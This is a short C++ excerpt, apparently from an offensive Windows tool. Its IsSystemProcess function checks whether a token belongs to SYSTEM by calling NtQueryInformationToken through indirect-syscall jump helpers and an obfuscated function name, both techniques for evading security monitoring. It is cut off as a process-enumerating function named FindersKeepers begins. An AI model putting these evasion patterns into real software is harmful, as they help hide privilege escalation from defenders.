Function IsSystemProcess

src/main.cpp:447–482

}

BOOL IsSystemProcess(HANDLE hToken) {
    BOOL isSystem = FALSE;
    NTSTATUS status = STATUS_SUCCESS;
    PTOKEN_USER pTokenUser = nullptr;
    ULONG pTokenUserSize = sizeof(PTOKEN_USER);
    pTokenUser = (PTOKEN_USER)malloc(pTokenUserSize);

    const uintptr_t jmpNtQIT = GetOffset(unASCIIme<std::string>(TIQtN));
    const int NtQIT = GetVal<int>(unASCIIme<std::string>(TIQtN));

    SetJumpAddress(jmpNtQIT);
    status = NtQueryInformationToken(hToken, TokenUser, pTokenUser, pTokenUserSize, &pTokenUserSize, NtQIT);

    while (status == STATUS_BUFFER_TOO_SMALL || status == STATUS_INFO_LENGTH_MISMATCH) {
        if (pTokenUser) free(pTokenUser);
        pTokenUser = (PTOKEN_USER)malloc(pTokenUserSize);
        if (!pTokenUser) {
            return FALSE;
        }
        SetJumpAddress(jmpNtQIT);
        status = NtQueryInformationToken(hToken, TokenUser, pTokenUser, pTokenUserSize, &pTokenUserSize, NtQIT);
    }

    if (!NT_SUCCESS(status)) {
        if (pTokenUser) free(pTokenUser);
        return FALSE;
    }

    PSID pSystemSid;
    ConvertStringSidToSid(L"S-1-5-18", &pSystemSid);
    isSystem = EqualSid(pTokenUser->User.Sid, pSystemSid);
    free(pTokenUser);
    LocalFree(pSystemSid);

    return isSystem;
}

HANDLE FindersKeepers(LUID luid = { 0,0 }) {
    PSYSTEM_PROCESS_INFORMATION sysProcInfo = GetSysProcInfo();